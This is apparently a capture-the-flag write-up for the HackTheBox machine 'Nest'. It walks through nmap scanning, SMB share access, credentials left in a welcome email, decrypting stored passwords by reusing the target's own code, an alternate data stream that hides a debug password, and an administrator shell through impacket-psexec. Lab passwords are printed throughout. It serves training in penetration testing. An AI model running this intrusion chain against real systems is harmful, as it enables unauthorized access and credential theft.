search

Nest

hashtag
Enumeration

As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.

The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:

nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.178 -oN allPorts

  • -sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.

  • --min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.

  • -p- scanning the entire port range, from 1 to 65535.

  • -T5 insane mode, it is the fastest mode of the nmap time template.

  • -Pn assume the host is online.

  • -n scan without reverse DNS resolution.

  • -oN save the scan result into a file, in this case the allports file.

Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:

nmap -sC -sV -p445,4386 10.10.10.178 -oN targeted

  • -sC performs the scan using the default set of scripts.

  • -sV enables version detection.

  • -oN save the scan result into file, in this case the targeted file.

Port 4386 hosts a reporting service where we can run some commands. Note that the DEBUG command asks for a password. Let's keep this in mind for the future.

telnet 10.10.10.178 4386

We can browse through the system directories and list their contents.

setdir /

list

The SMB service has a few readable shares.

smbmap -H 10.10.10.178 -u "guest"

hashtag
Exploitation

Let's mount the Data share to our local system.

mkdir /mnt/Data

mount -t cifs //10.10.10.178/Data /mnt/Data/

There are two .txt files in the share.

tree -fas /mnt/Data/

The Welcome Email.txt file has credentials for the TempUser user.

cat /mnt/Data/Shared/Templates/HR/Welcome\ Email.txt

These credentials gives read access to one more share called Secure$.

smbmap -H 10.10.10.178 -u "TempUser" -p "welcome2019"

We could try to mount the Data share to our local system, but this time using the found credentials.

umount /mnt/Data

mount -t cifs //10.10.10.178/Data /mnt/Data/ -o username=TempUser,password=welcome2019,domain=WORKGROUP,rw

Now we got access to much more files.

tree -fas /mnt/Data/

The RU_config.xml file contains encrypted credentials. We need to find a way to decrypt it.

catn /mnt/Data/IT/Configs/RU\ Scanner/RU_config.xml

There is also a file with absolute paths.

cat /mnt/Data/IT/Configs/NotepadPlusPlus/config.xml

Note the \\HTB-NEST\Secure$\IT\Carl\Temp.txt share path. Let's mount the Secure$.

mkdir /mnt/Secure$

mount -t cifs //10.10.10.178/Secure$ /mnt/Secure$/ -o username=TempUser,password=welcome2019,domain=WORKGROUP,rw

We are not allowed to access \Secure$\IT\.

ls -la /mnt/Secure$/IT

But we are allowed to access \Secure$\IT\Carl.

ls -la /mnt/Secure$/IT/Carl

As we can see, there is a visual basic project inside VB Projects.

tree -fas /mnt/Secure$/IT/Carl

The Module1.vb is trying to decrypt an encrypted password from the RU_Config.xml file.

cat /mnt/Secure$/IT/Carl/VB\ Projects/WIP/RU/RUScanner/Module1.vb

It is using the SsoIntegration.vb file.

cat /mnt/Secure$/IT/Carl/VB\ Projects/WIP/RU/RUScanner/SsoIntegration.vb

And it is using the Utils.vb file, which has all the functions needed to decrypt the password.

catn /mnt/Secure$/IT/Carl/VB\ Projects/WIP/RU/RUScanner/Utils.vb

I will use dotnetfiddle.netarrow-up-right and try to build a script with all these files which will decrypt the password. I will remove all the encrypt functions, because I don't need them, and add the public function where I set the username and encrypted password, and a print statement to show to decrypted password in plain text.

If we run the script, we'll get the password for the c.smith user.

Now we can access the c.smith directory in the Users share, where the user flag is located.

mount -t cifs //10.10.10.178/Users /mnt/Users/ -o username=c.smith,password=xRxRxPANCAK3SxRxRx,domain=WORKGROUP,rw

cat cat /mnt/Users/C.Smith/user.txt

hashtag
Privilege Escalation

As we can see, there is a binary called HqkLdap.exe, which could be the service exposed through port 4386.

tree -fas /mnt/Users/C.Smith/

There is also the Debug Mode Password.txt file, which should have the password for the DEBUG mode, but it is empty.

cat /mnt/Users/C.Smith/HQK\ Reporting/Debug\ Mode\ Password.txt

Let's connect to the share with smbclient, and check for alternative data streams on the file.

circle-info

Alternate Data Streams have the ability of forking data into an existing file without changing its file size or functionality.

smbclient //10.10.10.178/Users -U "c.smith%xRxRxPANCAK3SxRxRx"

allinfo "C.Smith\HQK Reporting\Debug Mode Password.txt"

There is one alternative data stream called :Password. Let's download it.

get "C.Smith\HQK Reporting\Debug Mode Password.txt:Password"

Now we have another password.

cat Debug\ Mode\ Password.txt:Password

This password seems to be valid for the DEBUG mode we saw earlier. With this mode, we can run more commands.

DEBUG WBQ201953D8w

If we go back one directory, we'll see a directory called LDAP.

SETDIR ..

LIST

Inside there is a file called Ldap.conf with another encrypted password for the administrator user.

SETDIR LDAP

LIST

SHOWQUERY 2

We need to find a way to decrypt it. Transfer the binary to a Windows machine with dotPeek installed and try to reverse engineer the binary to get its source code. Open the file with dotPeek.

Then, double-click on HqKLdap > HqKLda > CR to view the source code.

Copy the code and paste it into dotnetfiddle.netarrow-up-right. Modify it so it doesn't give any errors.

We should get the administrator's password.

Finally, we can get a shell as the administrator, all then all we have to do is reap the harvest and take the root flag.

impacket-psexec administrator@10.10.10.178

Last updated

Was this helpful?